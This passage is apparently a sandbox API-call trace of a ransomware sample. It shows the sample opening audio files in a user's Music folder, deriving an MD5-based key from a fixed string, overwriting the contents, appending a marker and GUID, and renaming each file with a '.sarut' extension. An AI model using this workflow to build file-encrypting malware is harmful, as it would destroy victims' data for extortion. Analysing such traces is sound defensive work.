[0269.103] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.103] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.103] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.103] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0269.104] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.104] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.104] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.104] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.104] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.104] GetLastError () returned 0x0 [0269.104] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.104] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0269.104] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.104] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa90) returned 0x311d708 [0269.104] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.104] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.104] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0xa8f, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0xa8f, lpOverlapped=0x0) returned 1 [0269.105] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.105] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xa94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.105] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.105] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.105] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.105] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.105] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.105] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.105] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.105] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.105] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.105] CloseHandle (hObject=0x5c4) returned 1 [0269.109] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0269.109] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0269.109] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0269.109] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\RAzu8DVMv-r45eOe8.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\razu8dvmv-r45eoe8.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\RAzu8DVMv-r45eOe8.mp3.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\razu8dvmv-r45eoe8.mp3.sarut")) returned 1 [0269.110] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.110] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.111] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa51f8 | out: hHeap=0x640000) returned 1 [0269.111] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b7a4460, ftCreationTime.dwHighDateTime=0x1d4d040, ftLastAccessTime.dwLowDateTime=0x734ed140, ftLastAccessTime.dwHighDateTime=0x1d4d567, ftLastWriteTime.dwLowDateTime=0x734ed140, ftLastWriteTime.dwHighDateTime=0x1d4d567, nFileSizeHigh=0x0, nFileSizeLow=0x4f5e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="svbuVRxjZk-A.mp3", cAlternateFileName="SVBUVR~1.MP3")) returned 1 [0269.111] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.111] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0269.111] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.111] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\svbuVRxjZk-A.mp3") returned=".mp3" [0269.111] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\svbuVRxjZk-A.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\svbuvrxjzk-a.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.111] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=20318) returned 1 [0269.111] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.114] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x4f38, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.114] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.116] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0269.116] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.116] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.116] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x4f5e, lpOverlapped=0x0) returned 1 [0269.117] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.117] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.117] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.117] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.117] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0269.118] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.118] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.118] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.118] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.118] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.118] GetLastError () returned 0x0 [0269.118] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.118] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0269.118] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.118] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x4f60) returned 0x311d708 [0269.118] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.118] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.118] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x4f59, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x4f59, lpOverlapped=0x0) returned 1 [0269.119] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.119] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x4f5e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.119] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.119] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.119] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.119] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.119] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.119] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.119] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.119] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.119] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.119] CloseHandle (hObject=0x5c4) returned 1 [0269.124] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0269.124] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0269.124] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0269.124] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\svbuVRxjZk-A.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\svbuvrxjzk-a.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\svbuVRxjZk-A.mp3.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\svbuvrxjzk-a.mp3.sarut")) returned 1 [0269.125] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.125] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.126] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0269.126] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3639d50, ftCreationTime.dwHighDateTime=0x1d4cc0e, ftLastAccessTime.dwLowDateTime=0x4237d830, ftLastAccessTime.dwHighDateTime=0x1d4d0ae, ftLastWriteTime.dwLowDateTime=0x4237d830, ftLastWriteTime.dwHighDateTime=0x1d4d0ae, nFileSizeHigh=0x0, nFileSizeLow=0x1015f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xGq9s.wav", cAlternateFileName="")) returned 1 [0269.126] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.126] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0269.126] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.126] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\xGq9s.wav") returned=".wav" [0269.126] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\xGq9s.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\xgq9s.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.127] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=65887) returned 1 [0269.127] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.130] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x10139, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.130] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.132] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0269.132] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.132] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.132] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x1015f, lpOverlapped=0x0) returned 1 [0269.133] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.133] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.133] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.133] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.133] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0269.134] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.134] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.134] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.134] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.134] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.134] GetLastError () returned 0x0 [0269.134] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.134] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0269.134] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.134] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10160) returned 0x311d708 [0269.135] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.135] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.135] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x1015a, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x1015a, lpOverlapped=0x0) returned 1 [0269.135] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.135] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1015f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.135] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.135] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.135] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.135] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.135] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.135] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.136] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.136] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.136] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.136] CloseHandle (hObject=0x5c4) returned 1 [0269.144] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.144] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x870) returned 0x311d708 [0269.144] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.144] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\xGq9s.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\xgq9s.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\xGq9s.wav.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\xgq9s.wav.sarut")) returned 1 [0269.145] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.145] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.147] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0269.147] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa64f26e0, ftCreationTime.dwHighDateTime=0x1d4cc42, ftLastAccessTime.dwLowDateTime=0xf4853d80, ftLastAccessTime.dwHighDateTime=0x1d4cd1f, ftLastWriteTime.dwLowDateTime=0xf4853d80, ftLastWriteTime.dwHighDateTime=0x1d4cd1f, nFileSizeHigh=0x0, nFileSizeLow=0x45b7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YEmk 2o.m4a", cAlternateFileName="YEMK2O~1.M4A")) returned 1 [0269.147] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.147] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0269.147] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.147] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\YEmk 2o.m4a") returned=".m4a" [0269.147] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\YEmk 2o.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yemk 2o.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.147] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=17847) returned 1 [0269.147] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.150] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x4591, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.150] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.153] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0269.153] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.153] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.153] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x45b7, lpOverlapped=0x0) returned 1 [0269.156] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.156] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.156] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.156] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.156] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0269.157] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.157] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.157] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.157] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.157] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.157] GetLastError () returned 0x0 [0269.157] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.157] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0269.158] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.158] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x45c0) returned 0x311d708 [0269.158] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.158] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.158] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x45b2, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x45b2, lpOverlapped=0x0) returned 1 [0269.158] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.158] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x45b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.158] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.158] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 